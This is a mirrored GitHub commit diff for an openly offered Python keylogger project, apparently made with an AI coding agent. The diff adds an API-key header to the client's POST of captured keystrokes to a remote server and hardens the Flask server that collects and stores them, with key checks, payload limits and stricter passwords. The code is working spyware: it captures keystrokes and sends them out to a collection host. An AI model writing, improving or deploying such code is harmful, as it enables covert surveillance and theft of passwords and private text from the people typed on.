mirror of
https://github.com/0x5t4l1n/Keylogger.git
synced 2026-05-26 19:36:31 +00:00
fix: harden auth and log ingestion security controls
Agent-Logs-Url: https://github.com/Stalin-143/Keylogger/sessions/cef34b0e-605b-4ab9-8da6-2559d1dd4529 Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
committed by
GitHub
parent
fa1ced8607
commit
e450630b7d
+14
-2
@@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143
|
||||
class KeyLogger:
|
||||
"""Keylogger class to handle keyboard input capture and logging."""
|
||||
|
||||
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True):
|
||||
def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None):
|
||||
"""
|
||||
Initialize the KeyLogger.
|
||||
|
||||
@@ -41,11 +41,13 @@ class KeyLogger:
|
||||
server_url (str): URL of the server to send logs to
|
||||
batch_size (int): Number of keystrokes before sending to server
|
||||
verify_ssl (bool): Whether to verify SSL certificates (default: True)
|
||||
api_key (str): API key for authenticating log ingestion
|
||||
"""
|
||||
self.log_file_path = log_file_path
|
||||
self.server_url = server_url
|
||||
self.batch_size = batch_size
|
||||
self.verify_ssl = verify_ssl
|
||||
self.api_key = api_key
|
||||
self.buffer = []
|
||||
|
||||
# Ensure the log directory exists
|
||||
@@ -72,9 +74,14 @@ class KeyLogger:
|
||||
|
||||
try:
|
||||
log_data = ''.join(self.buffer)
|
||||
headers = {}
|
||||
if self.api_key:
|
||||
headers["X-API-Key"] = self.api_key
|
||||
|
||||
response = requests.post(
|
||||
self.server_url,
|
||||
data={"log": log_data},
|
||||
headers=headers,
|
||||
timeout=10,
|
||||
verify=self.verify_ssl # Verify SSL certificates by default
|
||||
)
|
||||
@@ -213,18 +220,23 @@ def main():
|
||||
server_url = args.server_url or keylogger_config.get('server_url', '')
|
||||
batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
|
||||
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
|
||||
api_key = os.getenv('LOG_INGEST_API_KEY')
|
||||
|
||||
if not server_url:
|
||||
print("Error: Server URL not configured.")
|
||||
print("Please set server_url in config/config.json or use --server-url argument.")
|
||||
sys.exit(1)
|
||||
|
||||
if not api_key or len(api_key) < 24:
|
||||
print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.")
|
||||
sys.exit(1)
|
||||
|
||||
if args.no_verify_ssl:
|
||||
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
|
||||
print(" This is NOT recommended for production use.")
|
||||
|
||||
# Create and start the keylogger
|
||||
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl)
|
||||
keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key)
|
||||
keylogger.start()
|
||||
|
||||
|
||||
|
||||
+43
-6
@@ -33,8 +33,10 @@ app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
|
||||
CONFIG = {
|
||||
'log_file_path': 'logs/keylog.txt',
|
||||
'username': 'admin',
|
||||
'password': 'admin'
|
||||
'password': 'admin',
|
||||
'api_key': None
|
||||
}
|
||||
MAX_LOG_PAYLOAD_BYTES = 64 * 1024
|
||||
|
||||
|
||||
def check_auth(username, password):
|
||||
@@ -82,6 +84,21 @@ def requires_auth(f):
|
||||
return decorated
|
||||
|
||||
|
||||
def has_valid_api_key():
|
||||
"""
|
||||
Validate API key for log ingestion endpoint.
|
||||
|
||||
Returns:
|
||||
bool: True when API key is configured and valid
|
||||
"""
|
||||
configured_api_key = CONFIG.get('api_key')
|
||||
request_api_key = request.headers.get('X-API-Key')
|
||||
|
||||
if not configured_api_key or not request_api_key:
|
||||
return False
|
||||
return secrets.compare_digest(request_api_key, configured_api_key)
|
||||
|
||||
|
||||
# HTML template to display the log contents and provide a download link
|
||||
HTML_TEMPLATE = '''
|
||||
<!DOCTYPE html>
|
||||
@@ -210,8 +227,17 @@ def receive_log():
|
||||
Success or error message
|
||||
"""
|
||||
try:
|
||||
if not has_valid_api_key():
|
||||
return "Unauthorized", 401
|
||||
|
||||
if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES:
|
||||
return "Log payload too large", 413
|
||||
|
||||
log_data = request.form.get('log', '')
|
||||
if log_data:
|
||||
if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES:
|
||||
return "Log payload too large", 413
|
||||
|
||||
log_file_path = CONFIG['log_file_path']
|
||||
|
||||
# Ensure log directory exists
|
||||
@@ -220,7 +246,7 @@ def receive_log():
|
||||
os.makedirs(log_dir, exist_ok=True)
|
||||
|
||||
# Append log data to file
|
||||
with open(log_file_path, 'a') as f:
|
||||
with open(log_file_path, 'a', encoding='utf-8') as f:
|
||||
f.write(log_data)
|
||||
|
||||
return "Log received successfully", 200
|
||||
@@ -297,6 +323,7 @@ def main():
|
||||
# Load credentials from environment variables
|
||||
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
|
||||
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
|
||||
CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY')
|
||||
|
||||
# Validate that credentials are set
|
||||
if not CONFIG['username'] or not CONFIG['password']:
|
||||
@@ -308,16 +335,26 @@ def main():
|
||||
print("\nOr source your .env file:")
|
||||
print(" source config/.env")
|
||||
sys.exit(1)
|
||||
|
||||
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8:
|
||||
print("⚠️ WARNING: Weak password detected!")
|
||||
print(" Please use a strong password (at least 8 characters).")
|
||||
|
||||
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12:
|
||||
print("ERROR: Weak password detected.")
|
||||
print("Please use a strong password (at least 12 characters).")
|
||||
sys.exit(1)
|
||||
|
||||
if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24:
|
||||
print("ERROR: LOG_INGEST_API_KEY is required and must be at least 24 characters.")
|
||||
sys.exit(1)
|
||||
|
||||
# Get server settings
|
||||
host = args.host or server_config.get('host', '0.0.0.0')
|
||||
port = args.port or server_config.get('port', 5000)
|
||||
debug = args.debug or server_config.get('debug', False)
|
||||
|
||||
if debug and host not in ('127.0.0.1', 'localhost', '::1'):
|
||||
print("ERROR: Debug mode is only allowed on localhost interfaces.")
|
||||
print("Use a local host binding or disable --debug.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"\nStarting web server on {host}:{port}")
|
||||
print(f"Log file path: {CONFIG['log_file_path']}")
|
||||
print(f"Username: {CONFIG['username']}")
|
||||
|
||||
Reference in New Issue
Block a user